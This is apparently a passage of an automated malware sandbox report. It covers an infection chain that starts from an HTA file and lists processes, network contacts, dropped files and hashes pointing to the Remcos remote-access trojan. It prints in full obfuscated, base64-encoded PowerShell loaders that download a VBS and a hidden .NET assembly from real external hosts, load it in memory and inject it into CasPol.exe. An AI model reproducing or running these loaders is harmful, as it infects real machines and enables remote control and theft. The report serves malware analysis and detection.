PID 3676 wrote to memory of 1608 N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 1608 wrote to memory of 1384 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 1608 wrote to memory of 1384 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 1608 wrote to memory of 1384 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 3676 wrote to memory of 5000 N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE C:\Windows\SysWOW64\WScript.exe
PID 3676 wrote to memory of 5000 N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE C:\Windows\SysWOW64\WScript.exe
PID 3676 wrote to memory of 5000 N/A C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE C:\Windows\SysWOW64\WScript.exe
PID 5000 wrote to memory of 2168 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 5000 wrote to memory of 2168 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 5000 wrote to memory of 2168 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2168 wrote to memory of 1148 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2168 wrote to memory of 1148 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2168 wrote to memory of 1148 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1148 wrote to memory of 3188 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1148 wrote to memory of 3188 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1148 wrote to memory of 3188 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1148 wrote to memory of 3164 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1148 wrote to memory of 3164 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1148 wrote to memory of 3164 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1148 wrote to memory of 2868 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1148 wrote to memory of 2868 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1148 wrote to memory of 2868 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1148 wrote to memory of 2868 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1148 wrote to memory of 2868 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1148 wrote to memory of 2868 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1148 wrote to memory of 2868 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1148 wrote to memory of 2868 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1148 wrote to memory of 2868 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
PID 1148 wrote to memory of 2868 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\seemybesttimeforgivenmebestthingswithentiretimeforgivenmegreat.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Windows\SysWOW64\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE

"C:\Windows\SysTEm32\wiNDOWSpoWeRshell\V1.0\PoWeRsHELL.EXE" "PoWerSheLl.exE -EX bYPaSs -nOp -W 1 -C DeVIcecRedEnTIAldePLoYmeNT ; Iex($(iEX('[sYSTEm.teXt.EncOdInG]'+[Char]58+[CHar]58+'utf8.gEtSTRIng([sYsTeM.CoNVERt]'+[chAr]0X3a+[ChAR]0x3a+'fROmbaSe64StrInG('+[Char]0X22+'JHhPVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBZEQtdHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1iZXJEZUZpTklUaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1Pbi5EbEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFU1RuY2xIQkcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUVlLeFpVVHBBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGV4WnhmeGlKLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBXVlpTdlp6Q2p4LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtFV09RcFNsZlRkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicnFDcFB6RkpybUIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUVzUGFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHhPVzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTkyLzU1L3NlZW1lYmVzdHRoaW5nc29udGhlcGFydG9md29ybGR3aGljaGdycndlYXRmb3IudElGIiwiJGVOVjpBUFBEQVRBXHNlZW1lYmVzdHRoaW5nc29udGhlcGFydG9md29ybGR3aGljaGdycncudmJTIiwwLDApO1NUQVJULVNMZWVQKDMpO1NUQXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFbnY6QVBQREFUQVxzZWVtZWJlc3R0aGluZ3NvbnRoZXBhcnRvZndvcmxkd2hpY2hncnJ3LnZiUyI='+[chAr]0X22+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPaSs -nOp -W 1 -C DeVIcecRedEnTIAldePLoYmeNT

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kfzdomwy\kfzdomwy.cmdline"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAE12.tmp" "c:\Users\Admin\AppData\Local\Temp\kfzdomwy\CSC4C264D83C42644FBB64C862F25356C.TMP"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemebestthingsonthepartofworldwhichgrrw.vbS"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHZFcmJvc2VQckVGZXJFTkNFLlRvU1RSSW5nKClbMSwzXSsnWCctSm9pTicnKSgoKCdJY3BpbWFnZVVybCA9IE9BSWh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2QnKyc5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgT0FJO0ljcHdlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7SWNwaW1hZ2VCeXRlcyA9IEljcHdlYkNsaWVudCcrJy5Eb3dubG9hZERhdGEoSWNwaW1hZ2VVcmwpO0ljcGltYScrJ2dlVGV4dCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVUJysnRjguR2V0U3RyaW5nKEljcGltYWdlQnl0ZXMpO0ljcHN0YXJ0RmxhZyA9IE9BSTw8QkFTRTY0X1NUQVJUPj5PQUk7SWNwZW5kRmxhZyA9IE9BSTw8QkFTRTY0X0VORD4+T0FJO0ljcHN0YXJ0SW4nKydkZXggPSBJY3BpbWFnZVRleHQuSW5kZXhPZihJY3BzdGFydEZsYWcpO0ljcGVuZEluZGV4ID0gJysnSWNwaW1hZ2VUZXh0LkluZGV4T2YoSWNwZW5kRmxhZyknKyc7SWNwc3RhcnRJbmRleCAtZ2UgMCAtYW5kIEljcGVuZEluZGV4IC1ndCBJY3BzdGFydEluZGV4O0ljcHN0YXJ0SW5kZXggKz0gSWNwc3RhcnRGbGFnLkxlbicrJ2d0aDtJY3BiYXNlNjRMZW5ndGggPSBJY3BlbmRJbmRleCAtIEljcHN0YScrJ3J0SW4nKydkZXg7SWNwYmEnKydzZTY0Q29tbWFuZCA9IEljcGltYWdlVGV4dC5TdWJzdHJpbmcoSWNwc3RhcnRJbmRleCwgSWNwYmFzZTY0TGVuZ3RoKTtJY3BiYXNlNjRSZXZlcnNlZCA9IC1qb2luIChJY3BiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgMTR1IEZvckVhY2gtTycrJ2JqZWN0IHsgSWNwXyB9KVstMScrJy4uLShJY3BiYXNlNjRDb21tYW5kLkxlbicrJ2d0aCldO0ljcGNvbW1hbmRCeXRlcyA9IFtTeXN0JysnZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoSWNwYmFzZTYnKyc0UmV2ZXJzZWQpO0ljcGxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChJY3AnKydjb21tYW5kQnl0ZXMpO0ljJysncHZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoT0FJVkFJT0FJKTtJY3B2JysnYWlNZXRobycrJ2QuSW52b2tlKEljcG51bGwsIEAnKycoTycrJ0FJdHh0LkRFRERFV0VTLzU1LzI5MS44NzEuNjQuODkxLy86cHR0aE9BSSwnKycgT0FJZGUnKydzYXRpdmFkb09BSSwgT0FJZGVzYXRpdmEnKydkb09BSSwgT0FJZGVzYXRpdmFkb09BSSwgT0FJQ2EnKydzUG9sT0FJLCAnKydPQUlkZXNhdGl2YWRvT0FJLCBPQUlkZXNhdGl2YWRvT0FJLE9BSWRlc2F0aXZhZG9PQUksT0FJZGVzYXRpdmFkb09BSSxPQUlkZXNhdGl2YWRvT0FJLE9BSWRlc2F0aXZhZG9PQUksT0FJZGVzYXRpdmFkb09BSSxPQUkxT0FJLE9BSWRlc2F0aXZhZG9PQUkpKTsnKSAtUmVwTEFjRSAoW0NoYVJdNDkrW0NoYVJdNTIrW0NoYVJdMTE3KSxbQ2hhUl0xMjQgIC1jcmVwbEFDRSdPQUknLFtDaGFSXTM5IC1jcmVwbEFDRShbQ2hhUl03MytbQ2hhUl05OStbQ2hhUl0xMTIpLFtDaGFSXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $vErbosePrEFerENCE.ToSTRIng()[1,3]+'X'-JoiN'')((('IcpimageUrl = OAIhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd'+'9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f OAI;IcpwebClient = New-Object System.Net.WebClient;IcpimageBytes = IcpwebClient'+'.DownloadData(IcpimageUrl);Icpima'+'geText = [System.Text.Encoding]::UT'+'F8.GetString(IcpimageBytes);IcpstartFlag = OAI<<BASE64_START>>OAI;IcpendFlag = OAI<<BASE64_END>>OAI;IcpstartIn'+'dex = IcpimageText.IndexOf(IcpstartFlag);IcpendIndex = '+'IcpimageText.IndexOf(IcpendFlag)'+';IcpstartIndex -ge 0 -and IcpendIndex -gt IcpstartIndex;IcpstartIndex += IcpstartFlag.Len'+'gth;Icpbase64Length = IcpendIndex - Icpsta'+'rtIn'+'dex;Icpba'+'se64Command = IcpimageText.Substring(IcpstartIndex, Icpbase64Length);Icpbase64Reversed = -join (Icpbase64Command.ToCharArray() 14u ForEach-O'+'bject { Icp_ })[-1'+'..-(Icpbase64Command.Len'+'gth)];IcpcommandBytes = [Syst'+'em.Convert]::FromBase64String(Icpbase6'+'4Reversed);IcploadedAssembly = [System.Reflection.Assembly]::Load(Icp'+'commandBytes);Ic'+'pvaiMethod = [dnlib.IO.Home].GetMethod(OAIVAIOAI);Icpv'+'aiMetho'+'d.Invoke(Icpnull, @'+'(O'+'AItxt.DEDDEWES/55/291.871.64.891//:ptthOAI,'+' OAIde'+'sativadoOAI, OAIdesativa'+'doOAI, OAIdesativadoOAI, OAICa'+'sPolOAI, '+'OAIdesativadoOAI, OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAIdesativadoOAI,OAI1OAI,OAIdesativadoOAI));') -RepLAcE ([ChaR]49+[ChaR]52+[ChaR]117),[ChaR]124 -creplACE'OAI',[ChaR]39 -creplACE([ChaR]73+[ChaR]99+[ChaR]112),[ChaR]36) )"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 133.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 198.46.178.192:80 198.46.178.192 tcp
US 8.8.8.8:53 192.178.46.198.in-addr.arpa udp
US 8.8.8.8:53 1017.filemail.com udp
US 142.215.209.78:443 1017.filemail.com tcp
US 8.8.8.8:53 78.209.215.142.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 198.46.178.192:80 198.46.178.192 tcp
US 8.8.8.8:53 wayo.duckdns.org udp
US 135.148.195.248:6847 wayo.duckdns.org tcp
US 8.8.8.8:53 248.195.148.135.in-addr.arpa udp
US 8.8.8.8:53 geoplugin.net udp
NL 178.237.33.50:80 geoplugin.net tcp
US 8.8.8.8:53 50.33.237.178.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 75.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 88.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp

Files

memory/3676-0-0x0000000070F6E000-0x0000000070F6F000-memory.dmp

memory/3676-1-0x00000000027A0000-0x00000000027D6000-memory.dmp

memory/3676-2-0x0000000005220000-0x0000000005848000-memory.dmp

memory/3676-3-0x0000000070F60000-0x0000000071710000-memory.dmp

memory/3676-4-0x0000000070F60000-0x0000000071710000-memory.dmp

memory/3676-5-0x0000000005950000-0x0000000005972000-memory.dmp

memory/3676-11-0x00000000059F0000-0x0000000005A56000-memory.dmp

memory/3676-12-0x0000000005AD0000-0x0000000005B36000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ocjc525n.1tp.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3676-17-0x0000000005C40000-0x0000000005F94000-memory.dmp

memory/3676-18-0x0000000006080000-0x000000000609E000-memory.dmp

memory/3676-19-0x00000000060E0000-0x000000000612C000-memory.dmp

memory/1360-29-0x0000000006E10000-0x0000000006E42000-memory.dmp

memory/1360-30-0x000000006D820000-0x000000006D86C000-memory.dmp

memory/1360-40-0x0000000006DF0000-0x0000000006E0E000-memory.dmp

memory/1360-41-0x0000000006E50000-0x0000000006EF3000-memory.dmp

memory/1360-42-0x0000000007800000-0x0000000007E7A000-memory.dmp

memory/1360-43-0x00000000071B0000-0x00000000071CA000-memory.dmp

memory/1360-44-0x0000000007210000-0x000000000721A000-memory.dmp

memory/1360-45-0x0000000007440000-0x00000000074D6000-memory.dmp

memory/1360-46-0x00000000073B0000-0x00000000073C1000-memory.dmp

memory/1360-47-0x00000000073E0000-0x00000000073EE000-memory.dmp

memory/1360-48-0x00000000073F0000-0x0000000007404000-memory.dmp

memory/1360-49-0x0000000007500000-0x000000000751A000-memory.dmp

memory/1360-50-0x0000000007430000-0x0000000007438000-memory.dmp

\??\c:\Users\Admin\AppData\Local\Temp\kfzdomwy\kfzdomwy.cmdline

MD5 2dee9b5118c12d08a4c22a5af47ee5aa
SHA1 9bebbe2219fb7696c655b78d3e5de5d821d2717d
SHA256 79a40f8bb84a0bcfca59f489cbc1fc6bacf77ab2c788df1c3fe20411435bca88
SHA512 c2904a5c24df845c5bca95aaf3c376f547f968cdeeb8805b2e9910418cda18a2f0d261c196c24b5d6a0da6e7b06a2570fedf7966fa47e7f9959b704d2923c174

\??\c:\Users\Admin\AppData\Local\Temp\kfzdomwy\kfzdomwy.0.cs

MD5 f8f40cf06d8b2ceb49d38fdf52e8ecc0
SHA1 1ff0676c6503f21f4899ba1cbc30351318403804
SHA256 39f96499c4e911bc620f0facad68dab4452781beb339326f5910c5caea5714a2
SHA512 020e05dd5bd89e587dfa492086e433ea0620fb58ead54c1325a527ba8d1bf7251faa66116b69b4a802e4f2994215de1b146fd2df6f9347470e280bf7a22a7857

\??\c:\Users\Admin\AppData\Local\Temp\kfzdomwy\CSC4C264D83C42644FBB64C862F25356C.TMP

MD5 b7b2c16a418058ed127d625a2c84d13c
SHA1 979497cb3e42ae5052e737af30aa4ec68154ca4b
SHA256 28d3f5206910403586279935503006187e7e348d917b69e5d432dfa8c3dc5674
SHA512 cb039e87a76f6dd438fdb4ceb64918de700f1186e6bdd4d3fa7c78cdc8177f2b45af00531f35a0d07a3431e9feb3a8b1d2c695ccb8dec8dc9b7e4b31f9c11a3e

C:\Users\Admin\AppData\Local\Temp\RESAE12.tmp

MD5 567b276f03688fe44052badae677c4a3
SHA1 3ff712395b6de5ce2f3b67e15b897171687fd3a4
SHA256 fb87897ad5ceaee4e8d7cea44bc225f1bb045d695ff6201718f771a60c93def6
SHA512 81d627890dfeb7f725d8aef25d4ce6b275f4f8b737f67d2b07b6c8564c22174b035ac17c61a1e5365e30bc42c24e4af6c8f16c83c9f0d67c0bf0630dfa114309

C:\Users\Admin\AppData\Local\Temp\kfzdomwy\kfzdomwy.dll

MD5 08c3cff96b737b61b909b576ff44ef2c
SHA1 cab674da719ba9cd9f960e3a8a955c7e45064459
SHA256 891c9d23bc58fb60082d3e3a012dbebf7875307c33f02fda7ae71232b54fdaf7
SHA512 24f1540daf5eeca898049378bf031080fb7919fa7ede574a33d47e38979e0f9963bacf6ce27b288c6b32c5f080d909716a409ceb5d595f071739e33ba97ca366

memory/3676-65-0x0000000006680000-0x0000000006688000-memory.dmp

memory/3676-71-0x0000000007480000-0x00000000074A2000-memory.dmp

memory/3676-72-0x0000000008510000-0x0000000008AB4000-memory.dmp

C:\Users\Admin\AppData\Roaming\seemebestthingsonthepartofworldwhichgrrw.vbS

MD5 1860dcae987d5ed903d93a6cfc698eaf
SHA1 aaee36eb86bd7c80fd0ae9328bea5650f8c74d12
SHA256 d72fec7ef303edc51d89e59e92743962f4f742d4678f4d01cafb1a110741efb3
SHA512 73befb8642d5c9828c6d67bcbcb4b6128410c07e2abbef7ae65a3fa4fc067ee50e7c9c81cf1e2f2b56ddd8cbfa94f20bf56ce3e8848d7a9403a14c8de6d22742

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6569d07a55e4420915c31c7e858f2cfd
SHA1 6fde0cafa3972ac39292de348ae8cb6685fabcbe
SHA256 c80b708f0b7adc007cf78ac13a6aeba6f0577f912b65664f131dc4277abdc462
SHA512 5cd75e5dce79392c2e6b66ae9af569930baabb1a077ba12d3ac4f6b5d2da57ad9b416b962aceee7508d9f23609d6569a5ab25889f7b701776be2d921869f0c65

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PoWeRsHELL.EXE.log

MD5 3d086a433708053f9bf9523e1d87a4e8
SHA1 b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28
SHA256 6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69
SHA512 931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

memory/3676-79-0x0000000070F60000-0x0000000071710000-memory.dmp

memory/3676-80-0x0000000070F60000-0x0000000071710000-memory.dmp

memory/2168-86-0x0000000005E70000-0x00000000061C4000-memory.dmp

memory/1148-101-0x0000000007AB0000-0x0000000007C08000-memory.dmp

memory/1148-102-0x0000000007C10000-0x0000000007CAC000-memory.dmp

memory/2868-104-0x0000000000400000-0x000000000047F000-memory.dmp

memory/2868-105-0x0000000000400000-0x000000000047F000-memory.dmp

memory/2868-107-0x0000000000400000-0x000000000047F000-memory.dmp

memory/2868-110-0x0000000000400000-0x000000000047F000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 caa7746dbb38dbc5e82cae417d83ea27
SHA1 d107274a2507d4b0852f9ac4aeb0c253eb36022e
SHA256 9f5977e1962bc19c291cd309753da2ebf254b718e0f28fbd92642bdd8db426ae
SHA512 88c3df275422b7bc4e1baeb3189d12c03d55286ed2166e231f8cca0d007bdf3abefd4c7c694d8eedd6cedd6d3cd57c891ac3148372f6cb358e41eed5f27be395

memory/2868-113-0x0000000000400000-0x000000000047F000-memory.dmp

memory/2868-114-0x0000000000400000-0x000000000047F000-memory.dmp

memory/2868-115-0x0000000000400000-0x000000000047F000-memory.dmp

memory/2868-116-0x0000000000400000-0x000000000047F000-memory.dmp

memory/2868-118-0x0000000000400000-0x000000000047F000-memory.dmp

memory/2868-119-0x0000000000400000-0x000000000047F000-memory.dmp

memory/2868-120-0x0000000000400000-0x000000000047F000-memory.dmp

C:\ProgramData\remcos\logs.dat

MD5 c1cc45ea8de3a6487e2cc2651f7ffbe7
SHA1 5957213ee79c913f97ee604f07f05dfa43abea56
SHA256 5933da5899e0d9291b4c49a11d91ec5ee283056e41253c3c861f79f8e4cc9afa
SHA512 378469e5b2d388058092e10387710cd75b8272b3b584f4d5875185e655ad8ed32d0dedd8feee69a4a0e653f79e16435c1857c2cd70e79d87af121af54eab660c

memory/2868-127-0x0000000000400000-0x000000000047F000-memory.dmp

memory/2868-128-0x0000000000400000-0x000000000047F000-memory.dmp

memory/2868-135-0x0000000000400000-0x000000000047F000-memory.dmp

memory/2868-136-0x0000000000400000-0x000000000047F000-memory.dmp

memory/2868-143-0x0000000000400000-0x000000000047F000-memory.dmp

memory/2868-144-0x0000000000400000-0x000000000047F000-memory.dmp

memory/2868-151-0x0000000000400000-0x000000000047F000-memory.dmp

memory/2868-152-0x0000000000400000-0x000000000047F000-memory.dmp